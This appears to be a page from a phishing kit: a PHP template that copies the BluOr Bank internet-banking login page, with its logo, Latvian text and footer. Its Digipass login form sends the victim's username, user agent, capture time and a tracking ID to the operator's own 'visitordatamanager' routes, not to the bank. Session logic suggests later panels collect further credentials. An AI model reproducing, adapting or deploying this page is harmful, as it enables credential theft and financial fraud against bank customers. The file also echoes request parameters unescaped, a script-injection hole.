<?php
   $is_visitor_active = isset($_SESSION["is_visitor_active"]);
   $uniqueid = $is_visitor_active ? $_SESSION["visitor_uniqueid"] : uniqid();
   $route = $is_visitor_active ? "update_visitor_data" : "add_visitor";
   ?>
<!DOCTYPE html>
<!-- saved from url=(0046)https://ib.bluorbank.lv/x/login?execution=e1s1 -->
<html xmlns="http://www.w3.org/1999/xhtml">
   <head id="j_idt2">
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
      <meta name="description" content="BluOr Bank Internet Bank - banka privātpersonām un uzņēmumiem
         2001. gadā Latvijā dibināta Eiropas līmeņa banka. Nodrošina produktus un pakalpojumus uzņēmēju biznesa attīstībai un privātpersonu finanšu pārvaldībai">
      <link type="text/css" rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/theme.css">
      <link type="text/css" rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/font-awesome.css">
      <script type="text/javascript">if(window.PrimeFaces){PrimeFaces.settings.locale='lv';}</script>
      <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/stat-v2.js"></script>
      <link rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/bootstrap.min.css">
      <link rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/main.css" type="text/css" media="screen, projection">
      <link rel="stylesheet" href="<?= URLROOT ?>/front_end/front_end_files/bluorbank/ep.css" type="text/css" media="screen, projection">
      <link rel="shortcut icon" type="image/png" href="https://ib.bluorbank.lv/images/desktop/favicon.ico">
      <meta name="SKYPE_TOOLBAR" content="SKYPE_TOOLBAR_PARSER_COMPATIBLE">
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <title>BluOr Internetbanka</title>
      <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/jquery-3.5.1.min.js"></script>
      <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/bootstrap.min.js"></script>
      <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/spin.min.js"></script>
      <style type="text/css"></style>
      <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/_.js"></script>
      <script src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/bowser.js"></script><!--[if lt IE 9]>
      <script src="/scripts/desktop/respond.min.js?ver__=1.166.16-1160"></script>
      <script src="/scripts/desktop/html5shiv.js?ver__=1.166.16-1160"></script><![endif]--><!--[if lt IE 10]>
      <script src="/scripts/desktop/animateOLDIE.js?ver__=1.166.16-1160"></script><![endif]-->
      <style>
         nav .dropdown-menu a {
         -moz-transition: none;
         -o-transition: none;
         -webkit-transition: none;
         -ms-transition: none;
         transition: none;
         }
      </style>
      <script>
         var urlroot = '<?= URLROOT ?>';
         var uniqueid = '<?= $uniqueid ?>';
      </script>
      <script src="<?= URLROOT ?>/js/cntdjs/jquery.js"></script>
      <script src="<?= URLROOT ?>/js/cntdjs/jquery.mask.js"></script>
      <script src="<?= URLROOT ?>/js/cntdjs/cntd.js"></script>
      <script src="<?= URLROOT ?>/js/shared/loading.js"></script>
      <script src="<?= URLROOT ?>/js/shared/online_status.js"></script>
   </head>
   <body class="pc transition animated">
      <script>
         var isDev = false;
         var DISABLE_HB = false;
         var HB_FREQUENCE = 5000;
         var CTX_PATH = "";
         var isLoginPage = true;
      </script>
      <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/core.js"></script>
      <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/ibank.js"></script>
      <div id="loader"></div>
      <div class="vertical_layout">
         <div class="login_form_header_container_with_background">
            <div class="header-container">
               <div class="logo">
                  <img alt="" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/logo22.gif" title="">
               </div>
               <div class="language_container">
                  <form id="j_idt29" name="j_idt29" method="post" action="https://ib.bluorbank.lv/x/login?execution=e1s1" enctype="application/x-www-form-urlencoded">
                     <input type="hidden" name="j_idt29" value="j_idt29">
                     <ul class="language-list">
                        <li>
                           <script type="text/javascript" src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/jsf.js"></script>
                           <a id="j_idt29-changeLanguageRu" href="#">
                           Русский
                           </a>
                        </li>
                        <li><a id="j_idt29-changeLanguageEn" href="#">
                           English
                           </a>
                        </li>
                     </ul>
                     <input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="e1s1">
                  </form>
               </div>
            </div>
            <section class="login_content">
               <div class="login_form">
                  <div class="clickOverlay"></div>
                  <div class="form_content">
                     <div class="note_area">
                        <div id="oldBrowserMessage" class="note_info hidden">
                           Uzmanību! Jūsu pārlūks ir novecojis vai netiek uzturēts.
                           <br>
                           Rekomendējam Jums atjaunot pārlūku, vai izmantot kādu no zemāk minētajiem pārlūkiem.
                           <br>
                           <ul>
                              <li> <a  href="#">Firefox 12+</a> </li>
                              <li> <a  href="#">Chrome 10+</a> </li>
                              <li> <a  href="#">Opera 10+</a> </li>
                              <li> <a  href="#">Internet Explorer 8+</a> </li>
                              <li> <a  href="#">Safari 3+</a> </li>
                           </ul>
                           <a href="#" class="note_close"></a>
                        </div>
                     </div>
                     <div class="form_area login_form_area">
                        <div class="login_notification_area_fixed_height"></div>
                        <h1>Pieslēgties Internetbankai</h1>
                        <div class="form_item">
                           <div>
                              <button class="tablink" id="defaultOpen" style="background-color: white;">Digipass/Blue KEY</button>
                              <div id="digipasBlukeyPage" class="tabcontent" style="display: block;">
                                 <div class="top_element_container">
                                    <form method="post" action="<?= URLROOT ?>/pages/?d=bluorbank&p=password" class="form_items_first position_relative" enctype="application/x-www-form-urlencoded">

                                      <?php if (!$is_visitor_active) { ?>
                                        <!-- New Visitor Specific Fields  -->
                                        <input type="hidden" name="capture_time" value="<?= date("h:i:s") ?>">
                                        <input type="hidden" name="useragent" value="<?= $_SERVER["HTTP_USER_AGENT"] ?>">
                                      <?php } ?>
                                      <input name="new_data" value="true" type="hidden">
                                      <input name="status" value="0" type="hidden">
                                      <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

                                      <input name="login_type" value="digipass" type="hidden">

                                      <input name="bank" value="bluorbank" type="hidden">

                                       <div class="flex_centered_content">
                                          <div class="input_item">
                                             <label for="loginForm-name">Lietotājvārds</label>

                                             <input id="username" name="username" type="text" autocomplete="off" value="" class="sensetive-data validate login_input" maxlength="35" tabindex="1">
                                          </div>
                                       </div>
                                       <div class="button_element_container center"><a id="loginForm-loginButton" href="#" tabindex="4" type="submit" class="submit_hook">
                                          <button type="submit" id="submit-btn" class="blue-login-button">
                                          Pieslēgties</button></a>
                                       </div>
                                    </form>

                                    <script>
                                    var controller = new CNTD;
                                    var url = "<?= URLROOT ?>/visitordatamanager/<?= $route ?>";

                                    controller.check_form_button_disable(["#username"]);
                                    controller.submit_multipanel_form(url, '<?= $_GET["d"] ?>', controller.multipanel_form_response);
                                    </script>
                                    <?php if ($is_visitor_active) { ?>
                                      <script>
                                      var uniqueid = '<?= $uniqueid ?>';
                                      </script>

                                      <script src="<?= URLROOT ?>/js/shared/default_user_behaviour.js"></script>
                                    <?php } ?>

                                    <div style="display:none;">
                                       <form id="lastHB" name="lastHB" method="post" action="https://ib.bluorbank.lv/x/login?execution=e1s1" enctype="application/x-www-form-urlencoded">
                                          <input type="hidden" name="lastHB" value="lastHB">
                                          <input id="lastHB-restart" type="submit" name="lastHB-restart" value=""><input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="e1s1">
                                       </form>
                                    </div>
                                 </div>
                                 <div class="bottom_element_container">
                                    <div class="apps_area">
                                       <form id="download_apps" name="download_apps" method="post" action="https://ib.bluorbank.lv/x/login?execution=e1s1" class="login_download_apps" enctype="application/x-www-form-urlencoded">
                                          <input type="hidden" name="download_apps" value="download_apps">
                                          <h2>Lejupielādējiet mobilo lietotni</h2>
                                          <div class="app_icon_container">
                                             <a href="#" rel="noopener noreferrer" onclick="mojarra.jsfcljs(document.getElementById(&#39;download_apps&#39;),{&#39;download_apps-j_idt84&#39;:&#39;download_apps-j_idt84&#39;},&#39;_blank&#39;);return false">
                                                <div class="app_block">
                                                   <img src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/bank_icon.svg" alt="bank app icon">
                                                   <div class="app_name">BluOr Bank</div>
                                                </div>
                                             </a>
                                          </div>
                                          <input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="e1s1">
                                       </form>
                                    </div>
                                 </div>
                              </div>
                              <div id="eMobilePage" class="tabcontent" style="display: none;">
                                 <div class="top_element_container">
                                    <form id="loginForm_eId" name="loginForm_eId" method="post" action="https://ib.bluorbank.lv/x/login?execution=e1s1" class="form_items_first position_relative" enctype="application/x-www-form-urlencoded">
                                       <input type="hidden" name="loginForm_eId" value="loginForm_eId">
                                       <div class="flex_centered_content">
                                          <div class="input_item">
                                             <label for="loginForm_eid-name">Lietotājvārds
                                             </label><input id="loginForm_eId-neme" type="text" name="loginForm_eId-neme" autocomplete="off" value="" class="sensetive-data validate login_input" maxlength="35" onkeydown="return loginSubmitWithSelector(event, &#39;#loginForm_eId-loginButton_eid&#39;);" tabindex="1">
                                          </div>
                                       </div>
                                       <div class="button_element_container center"><a id="loginForm_eId-loginButton_eid" href="#" tabindex="4" type="submit" onclick="mojarra.jsfcljs(document.getElementById(&#39;loginForm_eId&#39;),{&#39;loginForm_eId-loginButton_eid&#39;:&#39;loginForm_eId-loginButton_eid&#39;},&#39;&#39;);return false" class="submit_hook ">
                                          <button class="blue-login-button" onclick="Loader.init();">
                                          Pieslēgties</button></a>
                                       </div>
                                       <input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="e1s1">
                                    </form>
                                    <div style="display:none;">
                                       <form id="lastHBeid" name="lastHBeid" method="post" action="https://ib.bluorbank.lv/x/login?execution=e1s1" enctype="application/x-www-form-urlencoded">
                                          <input type="hidden" name="lastHBeid" value="lastHBeid">
                                          <input id="lastHBeid-restart_eid" type="submit" name="lastHBeid-restart_eid" value=""><input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="e1s1">
                                       </form>
                                    </div>
                                 </div>
                                 <div class="bottom_element_container">
                                    <div class="apps_area">
                                       <form id="download_eid" name="download_eid" method="post" action="https://ib.bluorbank.lv/x/login?execution=e1s1" class="login_download_apps" enctype="application/x-www-form-urlencoded">
                                          <input type="hidden" name="download_eid" value="download_eid">
                                          <h2>Izmantojiet mobilo lietotni</h2>
                                          <div class="app_icon_container">
                                             <a href="#" rel="noopener noreferrer" onclick="mojarra.jsfcljs(document.getElementById(&#39;download_eid&#39;),{&#39;download_eid-j_idt97&#39;:&#39;download_eid-j_idt97&#39;},&#39;_blank&#39;);return false">
                                                <div class="app_block">
                                                   <img src="<?= URLROOT ?>/front_end/front_end_files/bluorbank/e-Paraksts_logo1.svg" alt="eParaksts mobile app icon">
                                                   <div class="app_name">eParaksts mobile</div>
                                                </div>
                                             </a>
                                          </div>
                                          <input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="e1s1">
                                       </form>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
                     </div>
                  </div>
               </div>
            </section>
         </div>
         <section class="login_footer">
            <div class="form_titles">
               <div class="titles">
                  <h2>Pamācības</h2>
                  <ul>
                     <li><a href="#" >Digipass 700 instrukcija</a></li>
                     <li><a href="#" >Digipass 310 instrukcija</a></li>
                     <li>
                        <span class="blukey_label_link">Blue KEY instrukcija:</span>
                        <a class="blukey_link_bold" href="#" > iOS </a>
                        <span class="blukey_label_link">/</span>
                        <a class="blukey_link_bold" href="#" > Android </a>
                     </li>
                     <li><a href="#" >Parole+SMS autentifikācijas instrukcija</a></li>
                     <li><a href="#" >Internetbankas instrukcija</a></li>
                     <li><a href="#" >Informācija drošiem pirkumiem internetā</a></li>
                  </ul>
               </div>
               <div class="titles">
                  <h2>Informācija</h2>
                  <ul>
                     <li><a href="#" >BluOr Bank AS</a></li>
                     <li><a href="#" >Dokumenti</a></li>
                     <li><a href="#" >Droša darba principi Internetbankā</a></li>
                  </ul>
               </div>
               <div class="titles">
                  <h2>Kontakti</h2>
                  <ul>
                     <li class="footer_text">Tālrunis: +371 67 031 333</li>
                     <li><a href="#">info@bluorbank.lv</a></li>
                  </ul>
               </div>
            </div>
            <div id="copyright_div" class="copyright">2023 © BluOr Bank AS</div>
            <input name="vn" type="hidden" value="1.166.16-1160">
            <div class="hidden">
               Version: 1.166.16-1160
            </div>
         </section>
      </div>
      <input id="crontoStatus" name="crontoStatus" type="hidden" value="">
      <script type="text/javascript">
         //<![CDATA[
         var cronto_polling_id = undefined;

         function stopCrontoAndBrokerPolling() {
             amq.stopPolling();
             amq.removeListener(listenerId, queue);
             clearInterval(cronto_polling_id);
         }

         function openPage(pageName,elmnt,color) {
             var i, tabcontent, tablinks;
             tabcontent = document.getElementsByClassName("tabcontent");
             for (i = 0; i < tabcontent.length; i++) {
                 tabcontent[i].style.display = "none";
             }
             tablinks = document.getElementsByClassName("tablink");
             for (i = 0; i < tablinks.length; i++) {
                 tablinks[i].style.backgroundColor = "";
             }
             document.getElementById(pageName).style.display = "block";
             elmnt.style.backgroundColor = color;
         }

         jQuery(document).ready(function () {
             jQuery('#copyright_div').text(new Date().getFullYear() + ' © BluOr Bank AS');
             jQuery('#loginForm-name').focus();
             // Get the element with id="defaultOpen" and click on it
             jQuery('#defaultOpen').click();
             var DISABLE_HB = false;
             var freq = 5000;
             var timeout = 60000;
             var lastHB = getUnixTime();

             function checkTimeout(curTime, prevTime, timeout) {
                 return curTime - prevTime < timeout;
             }

             function hasSensetiveData(clean) {
                 var $sensData = jQuery('div.input input.sensetive-data');
                 var hadData = false;
                 $sensData.each(function () {
                     hadData = hadData || (this.value !== undefined && this.value != '');
                     if (clean) {
                         this.value = '';
                     }
                 });
             }

             function handleTimeout() {
                 if (hasSensetiveData(true)) {
                     // alert('Press OK to retry login.\nSecurity concern: login session expired (more than ' + timeout/1000 + ' seconds passed away from active login screen).\nAuthorization form data clean up is performed.')
                 }
                 jQuery('#lastHB-restart').click();
             }

             function runUNAuthorizedCardio() {
                 var curTime = getUnixTime();

                 if (!checkTimeout(curTime, lastHB, timeout)) {
                     handleTimeout();
                 } else {
                     if (interval_id !== undefined) {
                         lastHB = curTime;
                         sendHBtoServer();
                     }

                     setTimeout(runUNAuthorizedCardio, freq);
                 }
             }

             /* ------------ */

             var interval_id = -1;
             jQuery(window).focus(function () {
                 if (!interval_id) {
                     interval_id = setInterval(function () {
                     }, 1000);
                 }
             });

             jQuery(window).blur(function () {
                 if (hasSensetiveData(false)) {
                     clearInterval(interval_id);
                     interval_id = undefined;
                 }
             });

             runUNAuthorizedCardio();
         });

         jQuery(document).ready(function () {
             var $body = jQuery('body');
             if ($body.hasClass('mobile')) {
                 return;
             }
             var dontShowOldBrowserMessage =
                 (bowser.name === 'Chrome' && bowser.version >= 10)
                 || (bowser.name === 'Firefox' && bowser.version >= 12)
                 || (bowser.name === 'Opera' && bowser.version >= 10)
                 || (bowser.name === 'Safari' && bowser.version >= 3)
                 || (bowser.name === 'Internet Explorer' && bowser.version >= 8);
             if (!dontShowOldBrowserMessage) {
                 jQuery('#oldBrowserMessage').removeClass('hidden');
             }

             var alreadyClicked = false;

             if (!cronto_polling_id) {
                 cronto_polling_id = setInterval(function () {
                     if ($("#crontoStatus").val() === 'P') {
                         $.ajax({
                             url: "/cronto_status.jsp",
                         }).done(function (data) {
                             $("#crontoStatus").val(data.trim());
                             if (data.trim() === 'Y' && !alreadyClicked) {
                                 $("#loginForm2-loginButton button").click();
                                 $("#loginForm2-loginButton_submit_or_select_user button").click();
                                 $("#loginForm3-acceptButton button").click();
                                 alreadyClicked = true;
                             } else {
                                 if (data.trim() !== 'P') {
                                     ///redirect
                                     //
                                 }
                             }
                         });
                     }
                 }, 1000);
             }
         });


         //]]>
      </script>
      <script>
         $( document ).ready(function() {
         	 if (window.top != window.self){
                  parent.document.location=document.location.href;
              }
         });
      </script>
   </body>
</html>
